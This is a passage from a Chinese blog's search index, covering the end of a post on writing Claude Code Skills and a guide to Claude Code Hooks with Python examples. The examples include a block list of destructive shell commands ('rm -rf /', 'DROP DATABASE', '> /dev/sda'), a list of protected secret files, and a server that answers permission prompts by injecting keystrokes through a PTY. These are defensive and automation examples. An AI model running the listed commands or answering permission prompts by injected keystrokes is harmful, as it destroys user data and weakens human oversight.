FAILING TEST FIRST 差：It's generally a good idea to write tests Agent 会试探边界。模糊的规则 = 不存在的规则。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:6:1","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"原则二：反驳预判，堵死借口 最精彩的设计是预判 Agent 可能出现的合理化行为，然后提前否定。 Agent 的典型借口： “代码太简单不需要测试” → Skill 里写 “Simple code breaks. Test takes 30 seconds.” “我已经手工测过了” → “Manual = ad-hoc. No record, can’t re-run.” “先写了代码再加测试也行” → “Tests passing immediately proves nothing.” 这不是在跟 Agent 抬杠，是在用经验堵死偷懒路径。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:6:2","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"原则三：结构化输出，防止\"looks good\" Agent 最便宜的偷懒方式是给一个模糊的好评。强制它输出结构化报告——表格、清单、逐项打分——让它没法用一句\"looks good\"糊弄过去。 ## Code Review Report ### Type Annotations: 3/5 checked, 2 issues - Line 42: missing return type ### Verdict: NEEDS FIX (2 issues) 格式化的本质是防作弊。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:6:3","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"原则四：短于 80 行 Skill 越长，Agent 越容易忽略关键信息。理想的 Skill 在 50-80 行之间——刚好覆盖所有规则，但不会多到被跳读。 你可能会想\"我把所有细节都写进去总没错\"。但 LLM 的注意力是有限资源。80 行 Skill 里的每条规则都会被认真对待；200 行 Skill 的后半段大概率被忽略。 精简技巧：写完 Skill 后，逐行问\"删掉这行，Agent 还会犯错吗？“不会就删。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:6:4","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"原则五：验证闭环 好的 Skill 自带验证机制。不是\"建议你这么做”，而是\"不这么做就不能结束\"。 Superpowers 用 Stop Hook 实现这个闭环： TDD Skill 要求每个函数有测试 → 检查 pytest 输出 Code Review Skill 要求格式化输出报告 → 检查报告格式 验证失败 → Hook 返回 block → Agent 被迫回去补 Skill 定义标准，Hook 执行标准。Skill 写\"应该怎样\"，Hook 验证\"做了没有\"。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:6:5","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"6. Skill 的边界：它解决不了什么 Skill 不是银弹。几个它解决不了的问题： 1. Skill 不能替代判断 Skill 说\"所有函数必须有类型注解\"，但 __init__.py 里的 __all__ = [...] 不需要注解。Agent 需要判断什么时候适用规则、什么时候不适用。Skill 提供的是框架，不是僵化的清单。 2. Skill 质量取决于写的人 Skill 本身是一段 prompt。写得差 = 效果差。一个模糊的 Skill 比没有 Skill 还糟——它给了 Agent 一个\"我在遵循规则\"的错觉。 3. Skill 有 token 成本，但它自己会赚回来 Skill 不是常驻上下文的。SessionStart 只注入每个 Skill 的名称和描述（约 20-30 token），让 Agent 知道有哪些可用。完整的 Skill 内容只在意图匹配或用户主动调用时才加载——没触发的 Skill 不占上下文。 一个 80 行的 Skill 大约 500-800 token。每次触发加载一次，平时不耗。 但这是笔划算的买卖——没有 Skill 的时候，Agent 用错误的方法做完任务，你得花好几轮对话纠正它。一轮\"你这不对\"→“哦我改”→“还不对”→“再改\"的拉扯，轻松烧掉 3000-5000 token。一个 Skill 加载只要 800 token，却能一上来就走对路，省掉的不只是 token——还有你的时间和耐心。 判断值不值很简单：Skill 省下的 token \u003e Skill 自身的 token × 触发次数。如果 800 token 的 Skill 每次帮你省两轮纠错（~6000 token），触发一次就回本，后面全是净赚。 但如果 Skill 设计得臃肿——200 行、塞满边缘情况、堆砌八百年不触发一次的规则——加载成本就会超过收益。精简是第一生产力。写完 Skill 后删掉一半字，再删一半，剩下的才是真的。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:7:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"7. 结语：三层的完整图像 回过头来看这个系列的三篇文章： 篇 主题 核心问题 核心答案 一 插件 能做什么？ 装备——压缩输出、记忆复用、语义搜索 二 Hooks 什么时候做？ 触发器——事件驱动，自动执行 三 Skill 怎么做？ 方法论——行为编码，经验模块化 装完插件，配好 Hooks，写好 Skill——Claude Code 从\"终端里的 AI 助手\"变成了\"会按照你的方法论做事的工程搭档”。 但这里有一个更深的问题：如果你已经有一整套插件 + Hooks + Skills，这和\"你自己的 Agent 框架\"的差别在哪？ 实际上，差别已经很小了。Superpowers 的 Skill 加载机制（意图匹配 + 自动注入），配合 Hooks 的事件驱动，本质上就是一个 Agent 框架的雏形。你只是在别人的平台上跑自己的规则。 下一站或许是 Hermes Agent——Nous Research 开源的 Agent 框架，自带持久记忆和自动 Skill 进化。你把 Claude Code 当执行引擎，Hermes 当任务编排者，一个分析需求拆解任务，一个写代码跑测试。从\"在别人平台上写插件\"到\"编排自己的 Agent 团队\"。但那是另一个故事了。 感谢阅读。 ","date":"2026-06-09","objectID":"/posts/2026/06/09/claude-code-skills-guide/:8:0","tags":["tech","ai","claude code","skill","development tools"],"title":"Claude Code Skills 深度解析：把经验写成可复用的知识模块","uri":"/posts/2026/06/09/claude-code-skills-guide/"},{"categories":["Tech"],"content":"全面介绍 Claude Code 的 Hooks 系统：PreToolUse、PostToolUse、Notification 等九种 Hook 的用法与实战，包含本地桌面通知、飞书推送、危险命令拦截、上下文注入等十一个秒用场景。","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":" 九种 Hook 类型 + 十一个秒用场景，把 Claude Code 从工具变成搭档。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:0:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"前言 之前写了《Claude Code 插件完全指南》，介绍四个插件和一个 MCP 服务。那是\"用什么\"的问题。 本文解决\"怎么自动化\"的问题：Hooks 系统。 Hooks 是 Claude Code 的事件驱动脚本机制——在工具调用、会话启停、权限请求等节点执行自定义逻辑。如果你用过 Git hooks 或 GitHub Actions，概念完全一样。 读完你会知道：九种 Hook 分别干什么，怎么配，以及十一个让你想立刻动手的妙用场景。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:1:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"基础：Hook 怎么配 所有 Hook 配置在 .claude/settings.json（项目级）或 ~/.claude/settings.json（用户级）的 hooks 字段下。 结构长这样： { \"hooks\": { \"HookType\": [ { \"matcher\": \"Tool1|Tool2\", \"hooks\": [ { \"type\": \"command\", \"command\": \"python3 /path/to/your_script.py\" } ] } ] } } matcher 决定拦截哪些工具调用（Bash|Write|Edit 表示只对这三个工具生效）。设为空字符串表示匹配所有。Hook 脚本从 stdin 读 JSON 获取上下文信息，exit 0 表示放行，exit 2 表示阻止（仅部分 Hook 类型支持）。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:2:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"九种 Hook 类型 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"SessionStart — 会话启动时 最早执行的 Hook。caveman 插件就是靠它注入 caveman 模式提示词。 { \"matcher\": \"\", \"hooks\": [{ \"type\": \"command\", \"command\": \"bash /path/to/startup.sh\" }] } 传入的上下文：session_id、cwd、model 等。可以用来初始化环境变量、检查依赖、注入提示词。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:1","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"UserPromptSubmit — 用户提交消息时 每次你按回车发送消息，这个 Hook 触发。可以在消息进入 Claude 之前附加上下文。 { \"matcher\": \"\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 /path/to/inject_context.py\" }] } 传入信息包含用户的原始消息内容。脚本可以通过 stdout 返回 hookSpecificOutput 注入额外文本。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:2","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"PreToolUse — 工具调用前 最实用的 Hook 之一。可以在工具执行前拦截、修改或阻止调用。 { \"matcher\": \"Bash\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 /path/to/pre_check.py\" }] } 传入 tool_name、tool_input。exit 2 阻止操作，exit 0 放行。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:3","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"PostToolUse — 工具调用后 工具执行完立即触发。传入完整的执行结果，包括 duration_ms、stdout、exit_code 等。 { \"matcher\": \"Bash|Write|Edit\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 /path/to/post_process.py\" }] } 这是实现\"长时间任务通知\"的核心 Hook。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:4","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"PermissionRequest — 权限请求时 Claude Code 弹出权限对话框之前触发。xiaozhi MCP 用它来记录权限请求日志。 { \"matcher\": \"Bash|Write|Edit\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 /path/to/perm_hook.py\" }] } 可以用来实现自定义的权限策略：白名单自动放行、危险操作二次确认。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:5","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"Notification — 收到通知时 两种触发方式。一是 permission_prompt matcher：Claude Code 弹出权限对话框前触发，JSON 携带 tool_name、tool_input、session_id、cwd——你可以在权限请求到达屏幕之前先拿到上下文。二是外部系统推送：cron 或 CI webhook 通过通知机制向 Claude Code 发送消息。场景三会用第一种方式做本地桌面弹窗，场景七用第二种做远程审批。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:6","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"Stop — 响应结束时 Claude 回复完毕、进入等待状态时触发。适合做清理、保存状态、更新状态栏。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:7","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"SubagentStop — 子代理结束时 使用 Agent 工具启动的子代理完成时触发。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:8","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"PreCompact — 上下文压缩前 上下文接近窗口上限、触发自动压缩前执行。可以在这里抢救关键信息，防止压缩丢失上下文。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:3:9","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"十一个秒用场景 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:0","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景一：自动格式化 + 刷新 写完代码 → 自动格式化 → 自动刷新浏览器。一步不落。 # post_tool_hook.py — PostToolUse，matcher: Write|Edit import json, sys, subprocess, os data = json.loads(sys.stdin.read()) file_path = data.get(\"tool_input\", {}).get(\"file_path\", \"\") if file_path.endswith((\".py\", \".ts\", \".tsx\", \".json\")): subprocess.run([\"npx\", \"prettier\", \"--write\", file_path], timeout=10) # Hugo 博客：markdown 变更时刷新浏览器 if file_path.endswith(\".md\"): subprocess.run([\"touch\", \".hugo_build_trigger\"]) # 触发 air 重载 sys.exit(0) 配一次，之后写代码再也不用想格式化的事。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:1","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景二：危险命令拦截 防呆不防傻。PreToolUse 在 Bash 执行前拦截高危操作。 # pre_tool_guard.py — PreToolUse，matcher: Bash import json, sys data = json.loads(sys.stdin.read()) cmd = data.get(\"tool_input\", {}).get(\"command\", \"\") DANGER = [ \"rm -rf /\", \"git push --force main\", \"git push --force master\", \"DROP TABLE\", \"DROP DATABASE\", \"\u003e /dev/sda\", ] for pattern in DANGER: if pattern in cmd: # 向 Claude 返回阻止信息 print(json.dumps({ \"hookSpecificOutput\": { \"hookEventName\": \"PreToolUse\", \"permissionDecision\": \"deny\", \"permissionDecisionReason\": f\"危险命令已拦截: {pattern}\" } })) sys.exit(2) sys.exit(0) 不影响正常工作流，只在真正危险时亮红灯。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:2","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景三：本地桌面通知 — 权限请求带上命令内容 前面两个场景分别管格式化和安全，都是\"拦住 Claude\"的逻辑。这个场景反过来——让 Claude 找你的时候，你能看到它在要什么。 飞书推送（场景四、五、八）适合远程场景，但多数时候你就坐在电脑前。Linux 桌面栈（notify-send + paplay）零依赖、零延迟，是最直接的落地方式。 配两条 Hook：Notification 拦截权限请求，Stop 响应任务完成。一条脚本两件事，按 hook_event_name 分派： #!/usr/bin/env python3 # notify-hook — Notification (permission_prompt) + Stop import json, os, subprocess, sys from datetime import datetime SOUND_DIR = \"/usr/share/sounds/freedesktop/stereo\" def notify_send(title, body): subprocess.run([\"notify-send\", title, body], timeout=5) def paplay(path): subprocess.Popen([\"paplay\", path], stderr=subprocess.DEVNULL) def ellipsis(s, n=80): return s if len(s) \u003c= n else s[: n - 3] + \"...\" data = json.loads(sys.stdin.read()) event = data.get(\"hook_event_name\", \"\") if event == \"Notification\": tool = data.get(\"tool_name\", \"?\") inp = data.get(\"tool_input\", {}) detail = \"\" if tool == \"Bash\": detail = ellipsis(inp.get(\"command\", \"\"), 100) elif tool in (\"Write\", \"Edit\"): detail = os.path.basename(inp.get(\"file_path\", \"\")) elif tool == \"WebSearch\": detail = ellipsis(inp.get(\"query\", \"\"), 100) notify_send(f\"Claude Code 需要授权 — {tool}\", detail) paplay(f\"{SOUND_DIR}/dialog-information.oga\") elif event == \"Stop\": ts = data.get(\"timestamp\", \"\") time_str = \"\" if ts: try: t = datetime.fromisoformat(str(ts).replace(\"Z\", \"+00:00\")) time_str = t.strftime(\"%H:%M:%S\") except (ValueError, TypeError): pass notify_send(\"Claude Code 任务完成\", time_str) paplay(f\"{SOUND_DIR}/complete.oga\") 配置 hooks： { \"hooks\": { \"Notification\": [{ \"matcher\": \"permission_prompt\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 /path/to/notify-hook\", \"async\": true }] }], \"Stop\": [{ \"matcher\": \"\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 /path/to/notify-hook\", \"async\": true }] }] } } 数据流很简单——Hook 负责把 JSON 从 Claude Code 管道丢给脚本，脚本按事件类型拆两路，分别拼消息、播音效： flowchart LR A[Claude Code\u003cbr/\u003eHook 触发] --\u003e|stdin JSON| B[notify-hook] B --\u003e|hook_event_name| C{事件分派} C --\u003e|Notification| D[取 tool_name\u003cbr/\u003etool_input] C --\u003e|Stop| E[取 timestamp] D --\u003e|拼消息| F[\"notify-send\u003cbr/\u003e需要授权 — Bash: ...\"] E --\u003e|拼消息| G[\"notify-send\u003cbr/\u003e任务完成 · 20:30:00\"] F --\u003e H[paplay 提示音] G --\u003e I[paplay 完成音] 核心只有一步——json.loads(sys.stdin.read()) 拿到完整上下文，然后按 tool_name 从 tool_input 里取对应字段拼消息。这和场景二取 command、场景一取 file_path 的模式完全一致。Notification Hook 的 JSON payload 结构跟 PreToolUse 相同，学会取一次，所有 Hook 的通知识别都照这个模式来。 需要远程推送时再看场景四（飞书）。坐电脑前，本地弹窗够用。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:3","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景四：长时间任务飞书通知 Bash 跑了超过 5 分钟 → 飞书机器人推消息到你手机上。不需要盯着终端。 # long_task_notify.py — PostToolUse，matcher: Bash import json, sys, os, threading THRESHOLD = int(os.getenv(\"NOTIFY_THRESHOLD_SEC\", \"300\")) WEBHOOK = os.getenv(\"FEISHU_WEBHOOK\", \"\") data = json.loads(sys.stdin.read()) duration_s = data.get(\"duration_ms\", 0) / 1000 if duration_s \u003c THRESHOLD or not WEBHOOK: sys.exit(0) tool = data.get(\"tool_name\", \"\") cmd = data.get(\"tool_input\", {}).get(\"command\", \"\")[:80] def send(): try: import requests requests.post(WEBHOOK, json={ \"msg_type\": \"text\", \"content\": {\"text\": f\"⏰ Claude Code 任务完成\\n工具: {tool}\\n耗时: {duration_s:.0f}s\\n命令: {cmd}\"} }, timeout=5) except Exception: pass threading.Thread(target=send, daemon=True).start() sys.exit(0) 关键点：daemon 线程 + timeout=5，主进程立刻退出，HTTP 调用不阻塞 Claude Code。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:4","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景五：空闲超时飞书通知 有时候不是你盯着 Claude Code 等它，而是它在等你——你切出去干别的，忘了回来。空闲超过 5 分钟，飞书推你。 这个场景需要 Stop Hook + 后台检测器配合：Stop 记录最后活跃时间，同时启动一个延迟检查器，5 分钟后如果时间戳没更新（没有新的 Stop 事件），说明你离开了。 # idle_notify.py — Stop hook，matcher: \"\" import json, sys, os, time, subprocess TIMESTAMP_FILE = \"/tmp/claude-last-stop\" THRESHOLD = int(os.getenv(\"IDLE_THRESHOLD_SEC\", \"300\")) WEBHOOK = os.getenv(\"FEISHU_WEBHOOK\", \"\") now = time.time() with open(TIMESTAMP_FILE, \"w\") as f: f.write(str(now)) if not WEBHOOK: sys.exit(0) # 后台检测脚本：睡 threshold 秒后检查时间戳是否未变 checker = f''' import time, requests webhook = {repr(WEBHOOK)} threshold = {THRESHOLD} last_active = {now} time.sleep(threshold) try: with open(\"{TIMESTAMP_FILE}\") as f: current = float(f.read().strip()) if current == last_active: idle_min = threshold // 60 requests.post(webhook, json={{ \"msg_type\": \"text\", \"content\": {{\"text\": f\"🫥 Claude Code 空闲超过 {{idle_min}} 分钟，你还在吗？\"}} }}, timeout=5) except Exception: pass ''' subprocess.Popen( [\"python3\", \"-c\", checker], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True, # daemonize，不随 Stop hook 退出 ) sys.exit(0) 核心技巧：start_new_session=True 让子进程脱离 Stop hook 的生命周期独立运行。每次 Claude 回复完毕触发 Stop，覆盖时间戳并重新启动一个检测器。如果连续 5 分钟没有新回复，上一次的检测器就会发通知。 和场景四配合：场景四通知你\"活干完了\"，场景五通知你\"你人跑了\"。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:5","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景六：自动注入状态快照 每次发消息，Claude 自动看到当前 git 状态和最近操作日志。不需要你手动 git status。 # inject_git_status.py — UserPromptSubmit，matcher: \"\" import json, sys, subprocess, os def run(cmd): try: return subprocess.check_output(cmd, shell=True, text=True, timeout=5).strip() except Exception: return \"\" git_status = run(\"git status --short\") git_log = run(\"git log --oneline -3\") context = \"\" if git_status: context += f\"Git 状态:\\n{git_status}\\n\" if git_log: context += f\"最近提交:\\n{git_log}\" if context: print(json.dumps({ \"hookSpecificOutput\": { \"hookEventName\": \"UserPromptSubmit\", \"additionalContext\": context } })) sys.exit(0) 效果：Claude 始终知道工程的 git 状态，回答更准确，不需要你重复描述上下文。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:6","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景七：PreCompact 防上下文丢失 上下文压缩是 Claude Code 的自动机制，但可能丢掉关键任务信息。PreCompact Hook 在压缩前把当前任务状态写到一个恢复文件，压缩后 Claude 可以通过它找回方向。 # save_context.py — PreCompact，matcher: \"\" import json, sys, os data = json.loads(sys.stdin.read()) # 把当前任务摘要写到恢复文件 backup = { \"session_id\": data.get(\"session_id\"), \"cwd\": data.get(\"cwd\"), \"trigger\": \"pre_compact\", \"timestamp\": data.get(\"timestamp\") } with open(\"/tmp/claude-context-backup.json\", \"w\") as f: json.dump(backup, f) sys.exit(0) 配合 SessionStart Hook 读取这个备份文件，可以实现跨压缩的任务连续性。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:7","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景八：远程审批推送 Hooks 的长链玩法：不只通知，还能让你在手机上直接审批 Claude Code 的权限请求。 原理不复杂——Hook 只做第一步拦截，后面交给一个服务端处理全链路。 sequenceDiagram participant H as PermissionRequest Hook participant S as 服务端 participant F as 飞书/App participant U as 你（手机） participant P as PTY participant C as Claude Code H-\u003e\u003eS: POST /permission-request S-\u003e\u003eF: 推送审批卡片/通知 F-\u003e\u003eU: 显示 [批准] [拒绝] U-\u003e\u003eF: 点击按钮 F-\u003e\u003eS: 回调审批结果 S-\u003e\u003eP: 写入 \"1\" 或 \"3\" P-\u003e\u003eC: 按键注入，对话框关闭 换成流程图视角，数据流向是这样的： flowchart TD A[PermissionRequest Hook] --\u003e|写文件 / 调接口| B[\"服务端 Python/Go/Node\"] B --\u003e|推送审批卡片| C[飞书交互卡片] B --\u003e|推送通知| D[\"自建 App WebSocket\"] C --\u003e|点击按钮| E[\"你 手机审批\"] D --\u003e|点击按钮| E E --\u003e|回调审批结果| B B --\u003e|注入按键| F[PTY] F --\u003e|按键 1 批准 3 拒绝| G[\"Claude Code 继续 / 中断\"] 文字版（ASCII）： PermissionRequest Hook → 写请求到文件或调接口 ↓ 服务端（Python/Go/Node，跑在本机） ↓ ┌────────┴────────┐ ↓ ↓ 飞书交互卡片 自建 App (WebSocket) ↓ ↓ 你在手机上点 [批准] / [拒绝] ↓ 服务端收到回调 ↓ PTY 向终端会话输入 \"1\" 或 \"3\" ↓ Claude Code 收到按键，继续 / 中断 Hook 脚本只需把权限请求转交给服务端： # perm_forward.py — PermissionRequest，matcher: Bash|Write|Edit import json, sys, requests, os SERVER = os.getenv(\"APPROVAL_SERVER\", \"http://127.0.0.1:9999\") data = json.loads(sys.stdin.read()) # 转交服务端，不等响应 try: requests.post(f\"{SERVER}/permission-request\", json={ \"tool\": data.get(\"tool_name\"), \"hint\": data.get(\"tool_input\", {}).get(\"command\", \"\")[:120], \"session_id\": data.get(\"session_id\"), }, timeout=2) except Exception: pass # Hook 不做审批决策，让 Claude Code 弹原生对话框 # 服务端通过 PTY 在后台替你按键 sys.exit(0) Hook 退出了，但 Claude Code 原生权限弹窗还在等。这时候服务端已经拿到请求数据，推送到了你的手机上——飞书卡片也好，自建 App 的通知栏也好。你点一下按钮，服务端收到回调，通过 PTY 向终端会话注入一个 1（批准）或 3（拒绝），对话框关闭，Claude Code 继续干活。 飞书方案适合已有飞书工作流的团队，零客户端成本。自建 App 方案更轻量，WebSocket 长连接延迟更低。无论哪种，Hooks 做的都是第一环——把权限请求从终端里拽出来，丢到你能触达的地方。 这模式不止用于权限审批。PreToolUse 拦截危险命令可以推，PostToolUse 长时间任务可以推，Stop 空闲提醒已经在场景五推了。把推送逻辑统一交给服务端，每个 Hook 只负责\"触发事件\"这一件事。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:8","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景九：敏感文件保护 场景二拦截的是危险命令。但 Claude 还有一个能力是直接写文件——如果它误改了 .env、删了 SSH 密钥，命令拦截管不到。PreToolUse 配合 Write|Edit matcher 可以补上这个缺口。 # file_guard.py — PreToolUse，matcher: Write|Edit import json, sys data = json.loads(sys.stdin.read()) file_path = data.get(\"tool_input\", {}).get(\"file_path\", \"\") PROTECTED = [ \".env\", \".env.local\", \".env.production\", \"secrets.yaml\", \"credentials.json\", \"*.pem\", \"*.key\", \"id_rsa\", \"package-lock.json\", \"yarn.lock\", \"pnpm-lock.yaml\", ] for pattern in PROTECTED: if pattern.replace(\"*\", \"\") in file_path: print(json.dumps({ \"hookSpecificOutput\": { \"hookEventName\": \"PreToolUse\", \"permissionDecision\": \"deny\", \"permissionDecisionReason\": f\"受保护文件，禁止直接修改: {file_path}\" } })) sys.exit(2) sys.exit(0) 和场景二一起配，Bash + Write/Edit 两条 PreToolUse 规则，一个管命令一个管文件，安全兜底就完整了。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:9","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景十：命令审计日志 PostToolUse 在每次 Bash 执行后追加一条记录到审计日志。出问题时复现、排查误操作、分析 Claude 的命令习惯，全靠这条日志。 # audit_log.py — PostToolUse，matcher: Bash import json, sys, os from datetime import datetime data = json.loads(sys.stdin.read()) cmd = data.get(\"tool_input\", {}).get(\"command\", \"\") duration = data.get(\"duration_ms\", 0) / 1000 exit_code = data.get(\"exit_code\", -1) log_line = ( f\"[{datetime.now().isoformat()}] \" f\"exit={exit_code} \" f\"duration={duration:.1f}s \" f\"cmd={cmd[:200]}\\n\" ) log_path = os.path.expanduser(\"~/.claude/bash-audit.log\") with open(log_path, \"a\") as f: f.write(log_line) sys.exit(0) 跑一阵子后 cat ~/.claude/bash-audit.log 就能看到 Claude 都执行了什么、哪些慢、哪些容易失败。安全审计 + 性能诊断两用。 ","date":"2026-06-02","objectID":"/posts/2026/06/02/claude-code-hooks-guide/:4:10","tags":["tech","ai","claude code","hooks","automation"],"title":"Claude Code Hooks 完全指南：事件驱动的 AI 编程自动化","uri":"/posts/2026/06/02/claude-code-hooks-guide/"},{"categories":["Tech"],"content":"场景十一：Stop 强制验证——“不跑通不下班” 